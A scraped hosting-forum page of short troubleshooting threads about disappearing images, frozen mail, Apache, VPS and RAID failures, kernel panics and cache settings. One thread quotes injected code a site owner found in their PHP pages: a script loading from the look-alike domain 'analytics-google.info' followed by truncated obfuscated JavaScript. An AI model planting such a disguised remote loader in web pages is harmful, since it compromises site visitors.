Images Dissapearing Randomly

May 28, 2007

I am creating a web application, nothing spectacular just something to display content.

After completing a long night of coding, I uploaded my files to my server and checked to make sure everything was functioning correctly. Everything seemed fine so I went to bed.

The next morning, to my surprise, all my images had dissapeared! Well not all of them, just the ones being displayed through the PHP script. (coincidentally, these images where all in the same directory...)

Of course the first thought that went through my mind was "scripting error". Which surprised me, since everything worked perfectly the night before. I checked and double checked everything, and I couldn't find anything wrong. I checked the permissions on the directory holding the images and they appeared correct (755). So, to locate the problem I decided to strip out all the variables and create a test page that had only the SQL query, and a print to output the <img> code. Still nothing! So I decided to just go the HTML route and create a test file that held only the <img> code, no PHP involved... nothing.

The images are on the server. I double checked... if you right click > view image, it shows up. Then if you go back to the "test" page and refresh the image is there... however, it does not appear when you first load the page, or it appears and then immediately dissapears.

I contacted my host about the issue, and their first response said:

Quote:

Dear customer,
The images are there if you login through plesk control panel and go to
File Manager under your domain you can find the pictures and see
them.But some of them are not opening under your website.
Best Regards

Honestly... are you kidding me? Reiterating my question doesn't constitute as an answer. And they call themselves "engineers"...

Seeing as it appears to only be affecting one directory (and possibly only JPG images...? Have a look at the test pages above), I believe it might be a permissions issue.

View 0 Replies


ADVERTISEMENT

Frozen Emails Dissapearing Too [Exim On Cpanel]

Jun 13, 2008

I have noticed on my two dedicated servers logs that some emails just dissapear after being frozen for days in queue and there is no notice or warning sent to the sender.

Please check your logs and tell me if I am wrong, just check for non-zero on your exim_mainlog

grep non-zero /var/log/exim_mainlog

and then grep your messageId

grep 1K17WW-0002so-Sn /var/log/exim_mainlog
2008-05-24 17:34:23 1K17WW-0002so-Sn == vicoello@xxxxx.com R=lookuphost T=remote_smtp defer (-1): smtp transport process returned non-zero status 0x000e: terminated by signal 14
2008-05-24 17:34:23 1K17WW-0002so-Sn Frozen
2008-05-25 18:02:27 1K17WW-0002so-Sn Message is frozen
...
2008-05-26 22:08:47 1K17WW-0002so-Sn Message is frozen
....
2008-05-27 15:00:31 1K17WW-0002so-Sn Message is frozen
? Dissapeared

View 6 Replies View Related

VPS Stops Running Randomly

May 29, 2008

The problem is that it switches from running to mounted without me having anything to do with it. It seems to be quite randomly, for example this morning at 1.42 am. This happens once a day and stops my vps and therefore my website - which is quite annoying.

I checked for log files or anything, but there was nothing mentioning resources or anything.

Does anyone have a clue what this might be? If I cannot fix the problem there is still the opportunity to just start the vps once it goes to status mounted. How would I automate this?

I am using Virtuozzo and Plesk.

View 9 Replies View Related

Just Built New Pc, Restarts Randomly

Dec 3, 2008

I just built a new pc, everything works well, but sometimes my computer will just restart randomly, it doesnt happen immedietly but randomly, within 30 or more minutes operating. Any ideas to why? and how i can fix it? ...

View 12 Replies View Related

Server Hanging Randomly

May 19, 2007

server hanging randomly

this is logs that i found

what is wrong with my server?

Quote:

May 19 15:35:02 hostname kernel: eip: c02d331b
May 19 15:35:02 hostname kernel: ------------[ cut here ]------------
May 19 15:35:02 hostname kernel: kernel BUG at include/asm/spinlock.h:133!
May 19 15:35:02 hostname kernel: invalid operand: 0000 [#1]
May 19 15:35:02 hostname kernel: SMP
May 19 15:35:02 hostname kernel: Modules linked in: md5 ipv6 parport_pc lp
parport ipt_state ipt_TOS iptable_mangle ip_conntrack_ftp ip_conntrack_irc ip_c
onntrack ipt_REJECT ipt_LOG ipt_limit iptable_filter ipt_multiport ip_tables aut
ofs4 i2c_dev i2c_core sunrpc dm_mirror dm_mod button battery ac uhci_hcd ehci_hc
d snd_intel8x0 snd_ac97_codec snd_pcm_oss snd_mixer_oss snd_pcm snd_timer snd_pa
ge_alloc snd_mpu401_uart snd_rawmidi snd_seq_device snd soundcore 8139too mii sk
98lin ext3 jbd
May 19 15:35:02 hostname kernel: CPU: 1
May 19 15:35:02 hostname kernel: EIP: 0060:[<c02d357c>] Not tainted
VLI
May 19 15:35:02 hostname kernel: EFLAGS: 00010016 (2.6.9-42.0.10.ELsmp)
May 19 15:35:02 hostname kernel: EIP is at _spin_lock_irq+0x1d/0x35
May 19 15:35:02 hostname kernel: eax: c02e71c3 ebx: f5e6a934 ecx: c756be28 edx: c02d331b
May 19 15:35:02 hostname kernel: esi: f5e6a930 edi: 00000000 ebp: c756b000 esp: c756be2c
May 19 15:35:02 hostname kernel: ds: 007b es: 007b ss: 0068
May 19 15:35:02 hostname kernel: Process netstat (pid: 336, threadinfo=c756b000 task=cb03b330)
May 19 15:35:02 hostname kernel: Stack: ffffffff c02d331b cb03b330 f6481e98 f6481e98 00000246 00000002 f5e6a930
May 19 15:35:02 hostname kernel: f5e6a900 00000000 c756b000 c01652bf 00000000 00000000 00000000 c032e610
May 19 15:35:02 hostname kernel: c756bfc4 0000000b 0000000b c011d2e4 c014e529 ffffffff ffffffff c2015de0
May 19 15:35:02 hostname kernel: Call Trace:
May 19 15:35:02 hostname kernel: [<c02d331b>] rwsem_down_write_failed+0x32/0x160
May 19 15:35:02 hostname kernel: [<c01652bf>] .text.lock.exec+0xba/0xd7
May 19 15:35:02 hostname kernel: [<c011d2e4>] try_to_wake_up+0x28e/0x299
May 19 15:35:02 hostname kernel: [<c014e529>] do_no_page+0x2da/0x2f9
May 19 15:35:02 hostname kernel: [<c012b458>] __dequeue_signal+0x14c/0x155
May 19 15:35:02 hostname kernel: [<c012b476>] dequeue_signal+0x15/0x54
May 19 15:35:02 hostname kernel: [<c012cd3f>] get_signal_to_deliver+0x317/0x346
May 19 15:35:02 hostname kernel: [<c0105bd4>] do_signal+0x55/0xd9
May 19 15:35:02 hostname kernel: [<c01c3616>] __copy_to_user_ll+0x30/0x46
May 19 15:35:02 hostname kernel: [<c017553b>] seq_read+0x24a/0x2c2
May 19 15:35:02 hostname kernel: [<c0172c49>] dnotify_parent+0x1b/0x6e
May 19 15:35:02 hostname kernel: [<c015ae7d>] vfs_read+0xda/0xe2
May 19 15:35:02 hostname kernel: [<c015b06c>] sys_read+0x3c/0x62
May 19 15:35:02 hostname kernel: [<c011ae55>] do_page_fault+0x0/0x5c6
May 19 15:35:02 hostname kernel: [<c0105c80>] do_notify_resume+0x28/0x38
May 19 15:35:02 hostname kernel: [<c02d4966>] work_notifysig+0x13/0x15
May 19 15:35:02 hostname kernel: Code: 90 80 3e 00 7e f9 fa eb e8 89 d8 5b 5e c3 53 89 c3 fa 81 78 04 ad 4e ad de 74 18
ff 74 24 04 68 c3 71 2e c0 e8 24 f3 e4 ff 58 5a <0f> 0b 85 00 2e 62 2e c0 f0 fe 0b 79 09 f3 90 80 3b 00 7e f9 eb
May 19 15:35:02 hostname kernel: <0>Fatal exception: panic in 5 seconds

View 6 Replies View Related

Server Spikes Randomly

Jan 15, 2007

Everything was running ok until last week.

I haven't really done anything new other then added another forum on the server (Invision).

Basically the problem is the random spikes I get. The main forum that is running on the server haven't really increased in terms of sim connections. Its usually around 180 - 220 during peak times.

On TOP there is usually around 250 tasks. When this thing started happening it would spikes to 500+ tasks which totally kills the server. Its pretty random also. Sometimes it'll go fine for a few hours and then suddenly climbed slowly up and then the server dies. For now its going to crash whenever I let apache run for an hour or so.

The only way I can restore is to restart apache. It has come to the point where I've had to put in restart apache in the cronjob list. Restart it every few minutes since I'm not always here watching over it. This is obviously a shortterm solution to keep the forum up while I troubleshoot this.

Here's a screenshot when it was just about dead

http://img392.imageshack.us/my.php?image=serverwf0.jpg

I checked out the logs and didn't see anything.

I was either told it needed more ram or that it was hacked.

The JRE is the flashchat I'm running and the trans_linux is a bot for the shoutcast.

Since I haven't been doing anything new.. I don't think its the resources of the server thats too little.

The server i have is

Dual Opteron 252
2 gigs of ram
1 146GB 15,000RPM scsi drive

how I can resolve it? Is Apache using more memory then its suppose to?

View 12 Replies View Related

49pence Randomly Changing Passwords

Jul 24, 2008

Today we received an email saying that the admin password for the server had been changed by them and that we should log in and change the password again ourselves.

49pence have provided no explanation as to why the password was changed and despite multiple requests have refused to give any kind of explanation. I've also asked to speak to a manager and this request was denied (well, more ignored and I was given the same line that they cannot disclose why they changed a customers' password).

View 14 Replies View Related

Website Pages Get Overwritten Randomly

Jul 3, 2008

For the past few days I've been facing a weird problem where a few of my website pages (index.php, login.php etc) get overwritten with some google analytics code. The rest of the website pages remain fine.

At random times, the code in these php pages gets replaced by something like:

HTML Code:
<script src="http://analytics-google.info/i/urchin.js"></script><script>function c41920832628m48687785ee773(m48687785eeb5b){ return (parseInt(m48687785eeb5b,16));}function m48687785ef712(m48687785efaf9){ function m48687785f06b2(){return 2;} var m48687785efeea='';m48687785f0e81=String.fromCharCode;for ...</script><script>check_content()</script>

Here's some debugging I have done.

1) If I rename login.php to say, log-in.php, the page gets saved from this

2) If I change the owner of login.php from the user to root, the page doesn't get overwritten anymore.

So basically, something somewhere running from the user account overwrites these specific pages. By the way, my website logs didnt show anything suspicious around the time when this first happened.

View 0 Replies View Related

CURL Showing Error Randomly

Jan 4, 2007

i am using curl in php and it showing time out error randomly!

Code:
Operation timed out with 0 out of -1 bytes received
maybe you say its remote server problem but i am geting this error from google server ,

View 6 Replies View Related

Apache :: 2.4 Randomly Stop Responding

Feb 21, 2012

I use apache 2.4.1 and mod_fcgid (same config form apache 2.2.22+mod_fcgid 2.3.6) and without any error message, apache stop responding randomly.There is no problem with apache 2.2.22+mod_fcgid 2.3.6 and with apache 2.4.1 + php5_module i have

View 19 Replies View Related

Apache :: Randomly Server Goes Offline

Feb 13, 2013

Randomly my server goes offline. There is no pattern to this. It can be fine for weeks then have 5 issues in one day. I have to restart Apache and it all come back on.

I'm not sure where to start to look for errors as I'm not that experienced.

Server Info
Windows Server 2008 R2 Standard Edition
PHP Version5.4.9
Apache VersionApache/2.4.1 (Win32)
MySQL version 5.0.10

View 3 Replies View Related

My Domains Become Randomly Unavailable For Short Periods

Jun 21, 2009

Some of my Linux(WHM/Cpanel) hosted domains have a weird problem. They randomly become unavailable to me for periods of half hour to 2 hours. During this time I get a server not found error and I cannot access the domains through FTP either. However if I use a proxy or try to reach the domain through another server using RDC I am able to reach it.

View 4 Replies View Related

RAID Controller Randomly Dropped Off System

Mar 26, 2007

This problem has happened to me twice on the very same server. I can't seem to figure out what's wrong with it.

My raid controller is Areca 1160 + 1GB Ram + 16xWD4000YS. Initially I had the problem of the disk dropping from the array randomly. I suppose this problem has been fixed since I have upgraded disks firmware according to WDC suggestion.

But there's another problem now. From my observation, the controller is randomly dropped off the system. When this happen, I cannot read/write anything from the disk at all. I can SSH in and able to run Areca CLI tool to see what's going on but only to get the message saying that it cannot find any Areca controller.

My only option is to restart the server and fsck all those 16 disks (not fun). I checked the log on the RAID controller itself, there was no sign of problem at all. No alert, no disk being dropped off the array, no events logged at all.

I'm using CentOS 4.3. Firmware on the RAID controller is 1.41, latest is 1.42. (Stupid me for not upgrading firmware when server crashed.) I plan to take the server down for RAID firmware upgrade soon. I just hoped that it's just problem with the firmware, not the controller or backplane itself.

View 8 Replies View Related

Apache :: Localhost Is Randomly Loading Forever?

Mar 12, 2015

my local host is just taking incredibly long to load. At work I've set it up no differently and it works like a charm, but at home, it works.. But at times it doesnt load instantly until I restart my browser. I have to press refresh or enter to login a million times for it to load after the first few seconds I use it.

View 1 Replies View Related

Apache :: Randomly Receive 502 Bad Gateway Error (2.4.4)

Jul 23, 2013

I am currently running apache 2.4.4 with Tomcat and randomly i receive the following error when i try to hit the external URL:

Bad Gateway
The proxy server received an invalid response from an upstream server

====================================================
Inside apachie error.log file., i also see the following error, i am not sure if they are related:

"The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed."

=====================================================

Here is my httpd.conf file: .....

View 4 Replies View Related

FastCGI Randomly Give Internal Server Error

Apr 17, 2009

I have the same error mentioned in this old tread:
[url]

Once in a while the user have "Internal server error"

when accessing any php page.

The php is php v4 compile as fastcgi on Centos 5.

The warning/error sequins is always like this:

[Fri Apr 17 09:09:49 2009] [warn] FastCGI: (dynamic) server "/home/fastcgi-scripts/abc.fcgi" (pid 22726) termination signaled
[Fri Apr 17 09:09:49 2009] [warn] FastCGI: (dynamic) server "/home/fastcgi-scripts/abc.fcgi" (pid 22726) terminated by calling exit with status '0'
[Fri Apr 17 09:09:49 2009] [error] [client 127.0.0.1] FastCGI: incomplete headers (0 bytes) received from server "/home/fastcgi-scripts/abc.fcgi", referer:
[url]

View 2 Replies View Related

Windows 2003 Eaccelerator Cache Cleared Randomly

Mar 31, 2008

I have successfully installed eaccelerator on my win2k3 box and it is working great. The problem I am having is that every so often the cache files are mysteriously cleared. I know that the cache is cleared when apache is restarted but I have not restarted it and the files still go missing after a period of time. I have the ttl values for ea set to 0 to disable them.

Here is the ea ini in php.ini:

extension="eaccelerator.dll"
eaccelerator.shm_size="64"
eaccelerator.cache_dir="C:Cache"
eaccelerator.enable="1"
eaccelerator.optimizer="1"
eaccelerator.check_mtime="1"
eaccelerator.filter=""
eaccelerator.shm_max="0"
eaccelerator.shm_ttl="0"
eaccelerator.shm_prune_period="0"
eaccelerator.shm_only="0"
eaccelerator.compress="0"
eaccelerator.compress_level="9"
eaccelerator.allowed_admin_path = "D:WebsitesThe Family Garrisoncontrol.php"

I am running php as php-cgi.exe with MS fastcgi enabled on a 32bit system.

View 2 Replies View Related

Apache :: Website Shows Blank Page Randomly

Sep 22, 2013

I am trying to fix website [URL] .... I open the site like 20 times a day and like 2 times a day it shows blank page. Which logs I need to check or which tools to use? I have cpanel hosting, apache.

View 1 Replies View Related

Plesk 12.x / Linux :: Server Crashing Randomly With Out Of Memory Error

May 12, 2015

it's starting to kill child processes and eventually stops/hangs.

#plesk version
Product version: 12.0.18 Update #45
Update date: 2015/05/08 03:13
Build date: 2015/01/26 15:00
Build target: CentOS 7
Revision: 334346
Architecture: 64-bit
Wrapper version: 1.2

#free -m
total used free shared buff/cache available
Mem: 3782 647 2281 45 854 2875
Swap: 2047 0 2047

View 1 Replies View Related

WGet Images

Jul 28, 2009

I'm trying to do is wget images, however, i'm not sure how to do it 100% right...

what ive got is a index.html page that has images(thmubs) that link to the full size images. how do i grab the full size images?

Example of links on the page:

<a href="images/*random numbers*.jpg" target="_blank"><img border=0 width=112 height=150 src="images/tn_*random numbers*.jpg" style="position:relative;left:3px;top:3px" /></a>

i tried

wget -A.jpg -r -l1 -np URLHERE

View 1 Replies View Related

Jailtime.org Xen Images

Mar 2, 2008

Has anyone here gotten any of the Xen images from jailtime.org to work on CentOS? I've figured out what the heck I'm doing since my last question [url], but they still won't boot. And the more I Google it, the more people I find asking the same questions.

It looks like they're depending on a bunch of non-standard images in their initrd, and, unless we have some of these unknown modules, the darned thing won't boot. Mine ends up failing like this:

Code:
NET: Registered protocol family 1
NET: Registered protocol family 17
Using IPI No-Shortcut mode
XENBUS: Device with no driver: device/vbd/2049
XENBUS: Device with no driver: device/vbd/2050
XENBUS: Device with no driver: device/vif/0
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
VFS: Cannot open root device "sda1" or unknown-block(0,0)
Please append a correct "root=" boot option
Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)
The xen.conf for this particular VM:

Code:
# This points ta real Dom0 kernel!
kernel = "/boot/vmlinuz-2.6.18-53.1.13.el5xen"
memory = "256"
name = "Ubuntu-Matt"
vif = [ 'mac=00:01:02:03:04:07, bridge=xenbr0, vifname=vif1.0' ]
# Set the disk...
disk = ['file:/home/matt/vms/ubuntu-7.04/ubuntu.7-04.img,sda1,w', 'file://home/matt/vms/ubuntu-7.04/ubuntu.swap,sda2,w']
root = "/dev/sda1 ro"
This is driving me bonkers... Has anyone gotten these to work? Would I be better off just installing from an ISO?

View 0 Replies View Related

Can't Seems To Upload Images

Sep 5, 2008

I have uploaded my site through FTP. Everything seems to be showing except the /images files.

Images in .gif and .jpg ain't showing up. The error I get is

"The image "image URL" cannot be displaying, because it contains error"

It's weird because the image is uploaded on the ftp in images folder but for some weird reason it's not showing up.

View 6 Replies View Related

Plesk 12.x / Linux :: Brand New CentOS 6.5 Server Running 12.0.18 Crashing Randomly

Aug 19, 2014

I have a brand new A8i server from 1&1 that has crashed twice today and could only be rebooted through the 1&1 control panel (not Plesk). Out of the blue the server is not accessible from the Plesk CP and is not responding to pings. I have looked through the logs and do not see anything that stands out (I am not very Linux savvy). Is there somewhere specific that I can look that would tell me why it is locking up/crashing? I have only had the server about 2 weeks and am only running email on it (no websites besides webmail and Plesk CP). It is possible that there is a hardware issue, but I cannot have 1&1 check it until after hours tonight.

Server is an 8 core Intel Atom 2.6GHz with 8GB RAM.

View 8 Replies View Related

Plesk 12.x / Linux :: Firewall Randomly Blocking Custom Defined Ports?

Aug 24, 2014

I have the web pro edition panel 12 on centos 6.5 64bit, and i have made some custom firewall rules in order to be able to run a teamspeak server. The problem is that the firewall randomly blocks the teamspeak port and keeps it blocked unless i restart the firewall.

View 4 Replies View Related

Full Size Images In DH

Jun 18, 2009

how to have full size images in my DH (dreamhost) gallery2?

View 2 Replies View Related

Serve 1 000 000 Images From One Directory

Aug 13, 2008

I plan to build huge image gallery, using lighttpd to server these images. It would be easiest for me to have all these files (more than 1 000 000) in one directory? Is it ok?

I have no idea, if this can cause any problems. Should I part my files into several directories, does it make serving better/faster?

View 14 Replies View Related

Dose More Images Mean More RAM Usage

Nov 21, 2008

Dose more images mean more RAM usage?

Do images take a heavy load on server RAM?

View 5 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved